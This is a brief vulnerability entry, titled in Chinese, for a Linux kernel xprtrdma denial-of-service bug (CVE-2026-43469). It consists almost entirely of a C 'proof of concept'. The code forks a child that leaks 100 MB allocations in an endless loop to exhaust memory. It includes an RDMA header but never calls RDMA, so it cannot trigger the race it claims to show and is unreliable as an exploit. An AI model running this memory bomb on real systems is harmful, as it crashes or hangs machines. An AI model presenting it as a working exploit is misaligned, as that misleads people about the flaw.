CVE-2026-43469 Linux内核xprtrdma拒绝服务漏洞

/* * PoC Concept for CVE-2026-43469 * This C code conceptually demonstrates how memory pressure * combined with RDMA operations might trigger the race condition. * Requires a system with RDMA capabilities and kernel < patch version. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <rdma/rdma_verbs.h> #define BUFFER_SIZE 4096 void stress_memory() { void *ptr; size_t alloc_size = 100 * 1024 * 1024; // 100MB chunks printf("[+] Applying memory pressure...\n"); while (1) { ptr = malloc(alloc_size); if (ptr == NULL) { printf("[!] Memory allocation failed, pressure applied.\n"); sleep(1); continue; } memset(ptr, 0x41, alloc_size); // Intentionally leak memory to trigger OOM/pressure logic } } int main() { // Note: Actual exploitation requires specific RDMA setup (client/server) // This code simulates the conditions triggering the bug. printf("[+] Starting PoC simulation for CVE-2026-43469\n"); // In a real scenario, an attacker would establish RDMA connections // and force the server into a state where rpcrdma_post_recvs fails. pid_t pid = fork(); if (pid == 0) { stress_memory(); } else { printf("[+] Waiting for system instability...\n"); printf("[!] Watch for hung tasks in dmesg (rpcrdma_xprt_drain)\n"); sleep(60); } return 0; }